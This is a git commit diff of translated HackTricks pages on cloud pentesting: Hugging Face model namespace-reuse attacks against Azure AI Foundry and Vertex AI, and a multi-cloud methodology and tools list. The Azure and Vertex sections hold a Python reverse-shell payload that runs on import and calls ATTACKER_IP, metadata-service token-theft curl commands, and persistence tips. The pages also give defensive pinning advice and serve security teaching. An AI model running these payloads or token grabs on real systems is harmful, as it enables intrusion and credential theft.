Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

This commit is contained in:
Translator
2025-09-29 22:26:24 +00:00
parent fa540a2e59
commit 63ff5fac0b
7 changed files with 388 additions and 384 deletions

View File

@@ -1,18 +1,18 @@
# Azure - AI Foundry Post-Exploitation kroz Hugging Face Model Namespace Reuse
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Scenarij
- Katalog modela Azure AI Foundry uključuje mnoge Hugging Face (HF) modele za postavljanje jednim klikom.
- HF identifikatori modela su Author/ModelName. Ako je HF author/org obrisan, bilo ko može ponovo registrovati tog autora i objaviti model sa istim ModelName na legacy putanji.
- Pipelines i katalogi koji povlače po imenu (bez commit pinovanja/integriteta) će rešiti na repozitorijume pod kontrolom napadača. Kada Azure postavi model, loader code se može izvršiti u okruženju endpointa i dodeliti RCE sa dozvolama tog endpointa.
- Katalog modela Azure AI Foundry uključuje mnoge Hugging Face (HF) modele za raspoređivanje jednim klikom.
- HF identifikatori modela su Author/ModelName. Ako je HF author/org obrisan, bilo ko može ponovo registrovati tog autora i objaviti model sa istim ModelName na nasleđenoj putanji.
- Pipelines i katalozi koji povlače modele samo po imenu (bez commit pinning/integrity) će rezolvirati na repozitorijume koje kontroliše napadač. Kada Azure deploy-uje model, loader code može da se izvrši u okruženju endpointa, omogućavajući RCE sa permisijama tog endpointa.
Uobičajeni slučajevi preuzimanja HF:
- Brisanje vlasništva: Stara putanja vraća 404 dok ne dođe do takeover-a.
- Prelazak vlasništva: Stara putanja vraća 307 ka novom authoru dok stari author postoji. Ako je stari author kasnije obrisan i ponovo registrovan, redirect prestaje da radi i repo napadača se servira na legacy putanji.
Uobičajeni HF takeover slučajevi:
- Ownership deletion: Stara putanja vraća 404 dok ne dođe do takeover-a.
- Ownership transfer: Stara putanja vraća 307 na novog autora dok stari autor postoji. Ako je stari autor kasnije obrisan i ponovo registrovan, redirect prestaje da važi i napadačev repozitorijum se servira na nasleđenoj putanji.
## Identifikovanje ponovo upotrebljivih namespace-a (HF)
## Identifikovanje ponovo upotrebljivih namespace-ova (HF)
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/availab
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
## End-to-end tok napada protiv Azure AI Foundry
## Kompletan tok napada protiv Azure AI Foundry
1) U Model Catalog pronađite HF models čiji su originalni autori obrisani ili prebačeni (stari author uklonjen) na HF.
2) Ponovo registrujte napuštenog autora na HF i ponovo kreirajte ModelName.
3) Objavite maliciozni repo sa loader kodom koji se izvršava pri import ili zahteva trust_remote_code=True.
4) Deploy-ujte legacy Author/ModelName iz Azure AI Foundry. Platforma povuče attacker repo; loader se izvršava unutar Azure endpoint container/VM, što rezultira RCE sa permisijama endpoint-a.
1) U Model Catalog, pronađi HF modele čiji su originalni autori obrisani ili prebačeni (stari autor uklonjen) na HF.
2) Ponovo registruj napuštenog autora na HF i ponovo kreiraj ModelName.
3) Objavi zlonamerni repo sa loader kodom koji se izvršava pri importu ili zahteva trust_remote_code=True.
4) Rasporedi nasleđeni Author/ModelName iz Azure AI Foundry. Platforma povuče repo napadača; loader se izvršava unutar Azure endpoint container/VM, rezultujući RCE sa dozvolama endpointa.
Example payload fragment executed on import (for demonstration only):
Primer fragmenta payload-a koji se izvršava pri importu (samo za demonstraciju):
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -45,36 +45,36 @@ subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Napomene
- AI Foundry deployments koji integrišu HF tipično kloniraju i importuju repo module koje referencira models config (npr. auto_map), što može dovesti do izvršavanja koda. Za neke putanje je potrebno trust_remote_code=True.
- Pristup obično odgovara dozvolama managed identity/service principal endpointa. Smatrajte ga početnim foothold-om za pristup podacima i lateral movement unutar Azure.
Beleške
- AI Foundry implementacije koje integrišu HF obično kloniraju i importuju repo module koji se referenciraju u konfiguraciji modela (npr. auto_map), što može pokrenuti izvršavanje koda. Neki putevi zahtevaju trust_remote_code=True.
- Pristup obično odgovara dozvolama managed identity/service principal endpointa. Smatrajte to početnim access foothold-om za pristup podacima i lateral movement unutar Azure.
## Post-Exploitation Tips (Azure Endpoint)
- Istražite environment variables i MSI endpoints da biste pronašli tokene:
- Enumerate environment variables and MSI endpoints for tokens:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- Proverite montirane skladišne lokacije, artefakte modela i dostupne Azure servise koristeći pribavljeni token.
- Razmotrite postojanost ostavljanjem poisoned model artifacts ako platforma ponovo preuzima iz HF.
- Proverite montirano skladište, model artifacts i dostupne Azure services koristeći pribavljeni token.
- Razmotrite persistence ostavljanjem poisoned model artifacts ako platforma ponovo povuče iz HF.
## Smernice za odbranu za korisnike Azure AI Foundry
## Odbrambene smernice za korisnike Azure AI Foundry
- Zaključajte modele po commit-u pri učitavanju iz HF:
- Pin models by commit when loading from HF:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Preslikajte proverenih HF modela u pouzdan interni registry i deploy-ujte ih odatle.
- Kontinuirano skenirajte codebase-ove i defaults/docstrings/notebooks u potrazi za hard-coded Author/ModelName koji su obrisani/prebačeni; ažurirajte ili pin-ujte.
- Proverite postojanje autora i poreklo modela pre deploymenta.
- Mirror proverene HF modele u pouzdan interni registry i deploy-ujte odatle.
- Kontinuirano skenirajte codebases i defaults/docstrings/notebooks radi hard-coded Author/ModelName koji su obrisani/transferisani; ažurirajte ili pin-ujte.
- Proverite postojanje autora i poreklo modela pre deployment-a.
## Heuristike prepoznavanja (HTTP)
## Recognition Heuristics (HTTP)
- Obrisani autor: author stranica 404; legacy model path 404 dok ne dođe do takeover-a.
- Prebačeni model: legacy path 307 na novog autora dok stari autor postoji; ako stari autor kasnije bude obrisan i ponovo registrovan, legacy path može služiti sadržaj napadača.
- Deleted author: author stranica vraća 404; legacy model path vraća 404 dok ne dođe do preuzimanja.
- Transferred model: legacy path vraća 307 na novog autora dok stari autor postoji; ako se stari autor kasnije obriše i ponovo registruje, legacy path može služiti zlonamerni sadržaj.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
@@ -86,9 +86,9 @@ curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
../../pentesting-cloud-methodology.md
{{#endref}}
## Reference
## Izvori
- [Ponovna upotreba imenskog prostora modela: AI napad na lanac snabdevanja koji iskorišćava poverenje u ime modela (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Preimenovanje ili prenos repo-a](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - Post Exploitation
# GCP - Post-eksploatacija
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -5,19 +5,19 @@
## Scenarij
- Vertex AI Model Garden omogućava direktno postavljanje mnogih Hugging Face (HF) modela.
- HF model identifiers are Author/ModelName. Ako je author/org na HF obrisan, isto ime autora može ponovo registrovati bilo ko. Napadači potom mogu kreirati repo sa istim ModelName na legacy path.
- Pipelines, SDKs, or cloud catalogs koji povlače resurse samo po imenu (bez pinovanja/integriteta) će povući attacker-controlled repo. Kada se model deploy-uje, loader code iz tog repo-a može se izvršiti unutar Vertex AI endpoint kontejnera, dajući RCE sa dozvolama endpointa.
- HF identifikatori modela su Author/ModelName. Ako je autor/org na HF obrisan, isti naziv autora može ponovo registrovati bilo ko. Napadači tada mogu kreirati repo sa istim ModelName na legacy putanji.
- Pipelines, SDKs, ili cloud catalogs koji povlače po imenu bez pinovanja/integriteta će dohvatiti repo pod kontrolom napadača. Kada je model deploy-ovan, loader code iz tog repoa može se izvršiti unutar Vertex AI endpoint container-a, što dovodi do RCE sa permisijama endpoint-a.
Two common takeover cases on HF:
- Ownership deletion: Stari put vraća 404 dok neko ponovo ne registruje autora i ne objavi isti ModelName.
- Ownership transfer: HF issues 307 redirects sa starog Author/ModelName na novog autora. Ako stari autor kasnije bude obrisan i ponovo registrovan od strane napadača, redirect lanac je prekinut i attackers repo služi na legacy path.
Dva česta slučaja takeover-a na HF:
- Brisanje vlasništva (Ownership deletion): Stari path vraća 404 dok neko ne ponovo registruje autora i ne objavi isti ModelName.
- Prenos vlasništva (Ownership transfer): HF vraća 307 redirect-e sa starog Author/ModelName na novog autora. Ako je stari autor kasnije obrisan i ponovo registrovan od strane napadača, redirect lanac se prekida i napadačev repo služi na legacy putanji.
## Identifying Reusable Namespaces (HF)
## Identifikacija ponovo upotrebljivih namespace-ova (HF)
- Old author deleted: stranica autora vraća 404; model path može vraćati 404 dok ne dođe do takeover-a.
- Transferred models: stara putanja modela vraća 307 ka novom vlasniku dok stari autor postoji. Ako stari autor bude kasnije obrisan i ponovo registrovan, legacy path će pokazivati na attackers repo.
- Stari autor obrisan: stranica autora vraća 404; model path može vraćati 404 dok se ne desi takeover.
- Transferovani modeli: stari model path vraća 307 ka novom owner-u dok stari autor postoji. Ako je stari autor kasnije obrisan i ponovo registrovan, legacy path će rešavati napadačev repo.
Quick checks with curl:
Brze provere koristeći curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
@@ -30,20 +30,20 @@ curl -I https://huggingface.co/<Author>/<ModelName>
```
## End-to-end tok napada protiv Vertex AI
1) Otkrivanje ponovo iskoristivih model namespace-ova koje Model Garden prikazuje kao deployable:
- Pronađite HF modele u Vertex AI Model Garden koji i dalje imaju oznaku “verified deployable”.
- Proverite na HF da li je originalni autor obrisan ili je model prebačen i stari autor naknadno uklonjen.
1) Otkrivanje ponovo upotrebljivih model namespaces koje Model Garden navodi kao deployable:
- Pronađite HF modele u Vertex AI Model Garden koji i dalje prikazuju “verified deployable”.
- Proverite na HF da li je originalni author obrisan ili je model prebačen i stari author naknadno uklonjen.
2) Ponovo registrovati obrisanog autora na HF i ponovo kreirati isti ModelName.
2) Re-register the deleted author on HF and recreate the same ModelName.
3) Objavite maliciozni repo. Uključite kod koji se izvršava pri učitavanju modela. Primeri koji se često izvršavaju tokom HF učitavanja modela:
- Side effects u __init__.py repoa
- Custom modeling_*.py ili processing kod na koji se poziva iz config/auto_map
- Code paths that require trust_remote_code=True u Transformers pipelines
3) Objavite maliciozni repo. Uključite kod koji se izvršava pri model load-u. Primeri koji se često izvršavaju tokom HF model load-a:
- Side effects u __init__.py repo-a
- Custom modeling_*.py ili processing kod referenciran u config/auto_map
- Code paths koje zahtevaju trust_remote_code=True u Transformers pipelines
4) Vertex AI deployment nasleđenog Author/ModelName sada povlači napadačev repo. Loader se izvršava unutar Vertex AI endpoint containera.
4) A Vertex AI deployment of the legacy Author/ModelName sada povlači attacker repo. The loader executes inside the Vertex AI endpoint container.
5) Payload uspostavlja pristup iz endpoint okruženja (RCE) sa privilegijama endpointa.
5) Payload uspostavlja pristup iz endpoint okruženja (RCE) sa dozvolama endpoint-a.
Example payload fragment executed on import (for demonstration only):
```python
@@ -63,49 +63,49 @@ if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Napomene
- Loaders u stvarnom svetu variraju. Mnoge Vertex AI HF integracije kloniraju i importuju repo module koji su referencirani u models config (npr. `auto_map`), što može pokrenuti izvršavanje koda. Neke upotrebe zahtevaju `trust_remote_code=True`.
- Endpoint tipično radi u posvećenom containeru sa ograničenim opsegom, ali predstavlja validan početni foothold za pristup podacima i lateralno kretanje u GCP.
- Implementacije loader-a u stvarnom svetu variraju. Mnoge Vertex AI HF integracije kloniraju i importuju module iz repo-a koje modelova konfiguracija navodi (npr. auto_map), što može pokrenuti izvršavanje koda. Neki slučajevi upotrebe zahtevaju trust_remote_code=True.
- Endpoint obično radi u dedikovanom kontejneru sa ograničenim opsegom, ali predstavlja validan početni oslonac za pristup podacima i lateralno kretanje u GCP.
## Post-Exploitation Tips (Vertex AI Endpoint)
## Saveti za post-eksploataciju (Vertex AI Endpoint)
Kada kod radi unutar endpoint container-a, razmotrite:
- Enumerisanje environment varijabli i metadata za kredencijale/tokene
- Pristupanje prikačenom skladištu ili montiranim artefaktima modela
- Interakcija sa Google APIs koristeći identitet service account-a (Document AI, Storage, Pub/Sub, itd.)
- Perzistencija u artefaktu modela ako platforma ponovo povuče repo
Kada se kod pokrene unutar kontejnera endpointa, razmislite o:
- Enumerisanju promenljivih okruženja i metapodataka radi nalaženja kredencijala/tokena
- Pristupu prikačenom skladištu ili montiranim artefaktima modela
- Interakciji sa Google API-ima koristeći identitet servisnog naloga (Document AI, Storage, Pub/Sub, itd.)
- Persistenciji u artefaktu modela ako platforma ponovo povuče repo
Enumerišite instance metadata ako su dostupne (zavisno od containera):
Enumerišite metapodatke instance ako su dostupni (zavisno od kontejnera):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Odbrambene smernice za korisnike Vertex AI
- Pin models by commit u HF loaders da sprečite tihu zamenu:
- Zaključajte modele po commit-u u HF loaders da biste sprečili tihu zamenu:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Preslikajte proverene HF modele u pouzdano interno skladište/registar artefakata i raspoređujte ih odatle.
- Neprestano skenirajte kodne baze i konfiguracije zbog hardkodovanih Author/ModelName koji su izbrisani/prebačeni; ažurirajte na nove namespace-ove ili pinujte po commit-u.
- U Model Garden, verifikujte poreklo modela i postojanje autora pre raspoređivanja.
- Preslikajte proverene HF modele u pouzdano interno skladište/artifact registry i deploy-ujte odatle.
- Neprekidno skenirajte codebase-ove i konfiguracione fajlove za hard-coded Author/ModelName koji su obrisani/transferisani; ažurirajte na nove namespace-ove ili ih pin-ujte na commit.
- U Model Garden, verifikujte poreklo modela i postojanje autora pre deployment-a.
## Heuristike prepoznavanja (HTTP)
## Recognition Heuristics (HTTP)
- Izbrisan autor: stranica autora vraća 404; nasleđena putanja modela vraća 404 dok ne dođe do preuzimanja.
- Prebačen model: nasleđena putanja vraća 307 ka novom autoru dok stari autor postoji; ako je stari autor kasnije obrisan i ponovo registrovan, nasleđena putanja poslužuje sadržaj napadača.
- Deleted author: author page 404; legacy model path 404 until takeover.
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Međureferencije
## Unakrsne reference
- Pogledajte širu metodologiju i napomene o supply-chain:
- Pogledajte širu metodologiju i napomene o lancu snabdevanja:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Izvori
## Reference
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)

View File

@@ -1,4 +1,4 @@
# Pentesting Cloud Methodology
# Pentesting Cloud Metodologija
{{#include ../banners/hacktricks-training.md}}
@@ -6,39 +6,39 @@
## Osnovna metodologija
Svaki cloud ima svoje specifičnosti, ali generalno postoje neke **uobičajene stvari koje pentester treba da proveri** kada se testira cloud okruženje:
Svaki cloud ima svoje osobenosti, ali generalno postoji nekoliko **zajedničkih stvari koje pentester treba da proveri** kada testira cloud okruženje:
- **Benchmark checks**
- Ovo će ti pomoći da **razumeš obim** okruženja i **korišćene servise**
- Takođe će ti omogućiti da brzo nađeš neke **brze miskonfiguracije**, pošto većinu ovih testova možeš izvesti uz pomoć **automatizovanih alata**
- **Services Enumeration**
- Verovatno nećeš pronaći mnogo dodatnih miskonfiguracija ovde ako si ispravno uradio benchmark tests, ali možeš naći neke koje nisu bile obuhvaćene tokom benchmark testa.
- Ovo će ti omogućiti da znaš **šta se tačno koristi** u cloud okruženju
- **Benchmark provere**
- Ovo će vam pomoći da **razumete veličinu** okruženja i **korišćene servise**
- Takođe će vam omogućiti da pronađete neke **brze greške u konfiguraciji** pošto većinu ovih testova možete izvršiti pomoću **automatizovanih alata**
- **Enumeracija servisa**
- Verovatno nećete naći mnogo više grešaka u konfiguraciji ovde ako ste pravilno izvršili benchmark testove, ali možete naći neke koje se nisu tražile u benchmark testu.
- Ovo će vam omogućiti da znate **šta se tačno koristi** u cloud okruženju
- Ovo će mnogo pomoći u narednim koracima
- **Check exposed assets**
- Ovo se može raditi tokom prethodnog odeljka — treba da **otkriješ sve što je potencijalno izloženo** Internetu na neki način i kako se može pristupiti tome.
- Ovde uzimam u obzir **manualno izloženu infrastrukturu** kao što su instances sa web stranama ili drugim otvorenim portovima, ali i druge **cloud managed services koje se mogu konfigurisati** da budu izložene (kao što su DBs ili buckets)
- Zatim treba da proveriš **da li taj resurs može biti izložen ili ne** (poverljive informacije? ranjivosti? miskonfiguracije u izloženom servisu?)
- **Check permissions**
- Ovde bi trebalo da **otkriješ sve dozvole svake role/korisnika** unutar clouda i kako se one koriste
- Previše **veoma privilegovanih** (kontrolišu sve) naloga? Generisani ključevi se ne koriste?... Većina ovih provera bi trebalo da bude urađena tokom benchmark tests
- Ako klijent koristi OpenID ili SAML ili neku drugu **federation**, možda ćeš morati da ih pitaš za dodatne **informacije** o **kako se dodeljuje svaka uloga** (nije isto ako je admin uloga dodeljena 1 korisniku ili 100)
- Nije **dovoljno samo otkriti** koji korisnici imaju **admin** permissions "\*:\*". Postoji mnogo **ostalih permisija** koje, u zavisnosti od korišćenih servisa, mogu biti vrlo **osetljive**.
- Štaviše, postoje **potencijalni privesc** putevi koji se mogu ispratiti zloupotrebom permisija. Sve to treba uzeti u obzir i treba izvesti **što je moguće više privesc puteva**.
- **Check Integrations**
- Veoma je verovatno da se u cloud okruženju koriste **integrations with other clouds or SaaS**.
- Za **integrations of the cloud you are auditing** sa drugim platformama treba da obavestiš **ko ima pristup da (zloupotrebi) tu integraciju** i treba da pitaš **koliko je osetljiva** akcija koja se obavlja.\
Na primer, ko može da upiše u AWS bucket iz kojeg GCP dobija podatke (pitaj koliko je ta radnja osetljiva u GCP prilikom obrade tih podataka).
- Za **integrations inside the cloud you are auditing** od eksternih platformi, treba da pitaš **ko ima eksterni pristup da (zloupotrebi) tu integraciju** i proveriš kako se ti podaci koriste.\
Na primer, ako servis koristi Docker image hostovan u GCR, treba da pitaš ko ima pristup da izmeni taj image i koje osetljive informacije i pristupe će taj image dobiti kada se izvrši unutar AWS cloud-a.
- **Provera izloženih resursa**
- Ovo može biti urađeno tokom prethodnog dela, potrebno je da **otkrijete sve što je potencijalno izloženo** Internetu na neki način i kako se može pristupiti.
- Ovde mislim na **ručno izloženu infrastrukturu** kao što su instance sa web stranicama ili drugim izloženim portovima, i takođe na druge **cloud managed services koje se mogu konfigurisati** da budu izložene (kao što su DBs ili buckets)
- Zatim treba da proverite **da li taj resurs može biti izložen ili ne** (poverljive informacije? ranjivosti? greške u konfiguraciji izloženog servisa?)
- **Provera dozvola**
- Ovde treba da **utvrdite sve dozvole svake uloge/korisnika** u cloud-u i kako se koriste
- Previše **visoko privilegovanih** (kontrolišu sve) naloga? Generisani ključevi se ne koriste?... Većina ovih provera bi već trebalo da je urađena u benchmark testovima
- Ako klijent koristi OpenID, SAML ili neku drugu **federation**, možda ćete morati da od njih zatražite dodatne **informacije** o **kako se svaka uloga dodeljuje** (nije isto da je admin uloga dodeljena jednom korisniku ili 100)
- Nije dovoljno da se utvrdi koji korisnici imaju **admin** dozvole "*:*". Postoji mnogo **ostalih dozvola** koje, u zavisnosti od korišćenih servisa, mogu biti veoma **osetljive**.
- Štaviše, postoje **potencijalni privesc** načini koji se mogu ispratiti zloupotrebom dozvola. Sve ovo treba uzeti u obzir i prijaviti **što više privesc puteva koliko je moguće**.
- **Provera integracija**
- Veoma je verovatno da su **integracije sa drugim cloud-ovima ili SaaS** korišćene unutar cloud okruženja.
- Za **integracije cloud-a koje auditirate** sa drugim platformama treba da obavestite **ko ima pristup da (zloupotrebi) tu integraciju** i treba da pitate **koliko je osetljiva** akcija koja se izvršava.\
Na primer, ko može da upisuje u AWS bucket iz kojeg GCP dobija podatke (pitajte koliko je osetljiva ta radnja u GCP prilikom obrade tih podataka).
- Za **integracije unutar cloud-a koji auditirate** iz eksternih platform, treba da pitate **ko ima eksterni pristup da (zloupotrebi) tu integraciju** i proverite kako se ti podaci koriste.\
Na primer, ako servis koristi Docker image hostovan u GCR, treba da pitate ko ima pristup da modifikuje taj image i koje osetljive informacije i pristupe će taj image dobiti kada se izvrši unutar AWS cloud-a.
## Alati za više cloud okruženja
## Multi-Cloud alati
Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovom odeljku.
Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovom delu.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
Alat za **identifikovanje loših konfiguracija i privesc path u cloud-ovima i između cloud-ova/SaaS.**
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
Podržava **AWS, GCP & Azure**. Proverite kako da konfigurišete svakog provajdera na [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
Podržava **AWS, GCP & Azure**. Pogledajte kako konfigurisati svakog provajdera na [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -168,9 +168,9 @@ steampipe check all
```
<details>
<summary>Proveri sve projekte</summary>
<summary>Proverite sve projekte</summary>
Da biste proverili sve projekte, potrebno je da generišete fajl `gcp.spc` koji navodi sve projekte koje treba testirati. Možete pratiti uputstva iz sledećeg skripta
Da biste proverili sve projekte, potrebno je da generišete fajl `gcp.spc` koji navodi sve projekte koje treba testirati. Možete jednostavno slediti uputstva iz sledećeg skripta
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
Za proveru **ostalih GCP insights** (korisno za enumeraciju servisa) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Za proveru **ostalih GCP uvida** (korisno za nabrajanje servisa) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Za proveru Terraform GCP koda: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Za pregled Terraform GCP koda: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Više GCP pluginova za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
Više GCP plugina za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -227,7 +227,7 @@ steampipe check all --export=/tmp/output4.json
```
Za proveru Terraform AWS koda: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Više AWS plugina za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
Više AWS pluginova za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
@@ -238,11 +238,11 @@ Zahteva python2.7 i izgleda neodržavano.
### Nessus
Nessus ima skeniranje _**Audit Cloud Infrastructure**_ koje podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Potrebne su dodatne konfiguracije u **Azure** da bi se dobio **Client Id**.
Nessus ima _**Audit Cloud Infrastructure**_ skeniranje koje podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Potrebne su neke dodatne konfiguracije u **Azure** kako bi se dobio **Client Id**.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist je **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) od Cloud Providers.
Cloudlist je **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartography je Python alat koji objedinjava infrastrukturalne resurse i odnose između njih u intuitivnom grafičkom prikazu pokretanom Neo4j bazom podataka.
Cartography je Python alat koji objedinuje infrastrukturne resurse i veze između njih u intuitivnom grafičkom prikazu zasnovanom na Neo4j bazi podataka.
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase prikuplja resurse i relacije iz servisa i sistema, uključujući infrastrukturu u oblaku, SaaS applications, bezbednosne kontrole i još mnogo toga, u intuitivan prikaz grafa koji se oslanja na Neo4j bazu podataka.
Starbase prikuplja resurse i odnose iz servisa i sistema, uključujući cloud infrastrukturu, SaaS aplikacije, sigurnosne kontrole i još mnogo toga, u intuitivan grafički prikaz koji koristi Neo4j bazu podataka.
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Otkrijte najprivilegovanije korisnike u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell.
Otkriva najprivilegovanije korisnike u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell.
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
Alat za pronalaženje infrastrukture kompanije (target), fajlova i aplikacija kod vodećih provajdera u oblaku (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Alat za pronalaženje infrastrukture kompanije (cilja), fajlova i aplikacija na vodećim cloud provajderima (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox je alat za pronalaženje exploitable attack paths u cloud infrastrukturi (trenutno su podržani samo AWS & Azure, a GCP dolazi uskoro).
- To je enumeration tool koji je namenjen da dopuni manual pentesting.
- Ne kreira niti ne menja bilo koje podatke unutar cloud okruženja.
- CloudFox je alat za pronalaženje iskoristivih puteva napada u cloud infrastrukturi (trenutno podržani samo AWS & Azure, a GCP dolazi uskoro).
- To je alat za enumeraciju koji je namenjen da dopuni manualni pentesting.
- Ne kreira niti menja bilo koje podatke unutar cloud okruženja.
### More lists of cloud security tools
### Više spiskova alata za cloud sigurnost
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -410,13 +410,13 @@ aws-security/
azure-security/
{{#endref}}
### Graf napada
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter)kreira „attack graph“ resursa u Azure subscription. Omogućava red teams i pentesters da vizualizuju attack surface i pivot opportunities unutar tenant-a, i značajno pomaže vašim defenders da brzo orijentišu i prioritetizuju incident response rad.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) kreira „attack graph“ resursa u Azure pretplati. Omogućava red teams i pentesters da vizualizuju površinu napada i mogućnosti pivotovanja unutar tenant-a, i ubrzava vaše odbrambene timove da se brzo orijentišu i daju prioritet radu na odgovoru na incidente.
### Office365
Potrebate **Global Admin** ili bar **Global Admin Reader** (ali imajte na umu da je Global Admin Reader pomalo ograničen). Međutim, ta ograničenja se pojavljuju u nekim PS modules i mogu se zaobići pristupanjem funkcijama **putem web aplikacije**.
Potrebno je imati **Global Admin** ili bar **Global Admin Reader** (ali imajte na umu da je Global Admin Reader pomalo ograničen). Međutim, ta ograničenja se pojavljuju u nekim PS modulima i mogu se zaobići pristupanjem funkcijama **preko web aplikacije**.
{{#include ../banners/hacktricks-training.md}}